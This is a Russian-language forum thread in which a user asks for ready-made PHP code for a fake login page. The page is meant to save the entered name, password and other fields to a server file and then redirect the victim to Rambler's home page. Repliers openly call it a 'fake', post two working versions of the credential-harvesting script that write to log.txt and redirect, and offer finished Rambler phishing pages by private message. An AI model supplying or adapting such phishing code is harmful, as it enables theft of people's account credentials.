Помогите плззз! Знаю что для, людей которые хорошо знают php дело 2-х минут. В общем надо форму аутентификации с двумя или тремя полями, Например имя: Пароль: Чо нить ещё: Потом кнопка после нажатия, на которую данные из полей сохранялись в фаил на сревере, и ещё переходил по ссылке, например на главную страницу rambler. Вроде просто, но блин времени мало, что бы самому разбираться. Выложите плззз готовый код. И какой бесплатный хост под это дело вы посоветуете, чтоб всё пахало, и рекламу можно было сбить?
если фейк делаеш- не изобретай велосипед))) они уже все есть))) здесь выкладывать не буду, если нужен в П М
все правильно только надо поменять местами.. так редиректа не будет а так будет PHP: <? if (isset($_POST)) { $string = "$_POST[1]\r\n$_POST[2]\r\n$_POST[3]\r\n----------"; $handle = fopen("log.txt", "a"); fputs($handle, $string); fclose($handle); header("Location: http://rambler.ru/"); } ?> <form action="<? echo $_SERVER["PHP_SELF"];?>" method="post"> 1: <input type="text" name="1"/><br/> 2: <input type="text" name="2"/><br/> 3: <input type="text" name="3"/><br/> <input type="submit" name="submit" value="ок"/> </form>
.::Gh0st::. привёл хороший пример, но небольшая поправка, у него не будет отправляться хеадер. PHP: <? if( !$_POST ) { ?> <form method="post"> 1: <input type="text" name="1"/><br/> 2: <input type="text" name="2"/><br/> 3: <input type="text" name="3"/><br/> <input type="submit" name="submit" value="ок"/> </form> <? } else { $string = $_POST[1]."\n".$_POST[2]."\n".$_POST[3]."\n----------\n"; $handle = fopen("log.txt", "a"); fputs($handle, $string); fclose($handle); header("Location: http://rambler.ru/"); } ?>
Это модификатор, он может иметь значения: 'r' - Открыть только для чтения; 'r+' - Открыть для чтения и записи; 'w' - Открыть только для записи; 'a' - Открыть только для записи в конец файла; 'a+' - Открыть для чтения и записи в конец файла;
не правда... ничиго он не создает с модификатором 'a', если файла нет, то вылезет ошибка, что типа файл не найден, файл создает 'w'...
'a' - открывает файл только для записи; помещает указатель в конец файла. Если файл не существует - пытается его создать.
Скинул те в личку готовый рамблеровский , если не разберешся- спросиш, а вообще они создаются за пару минут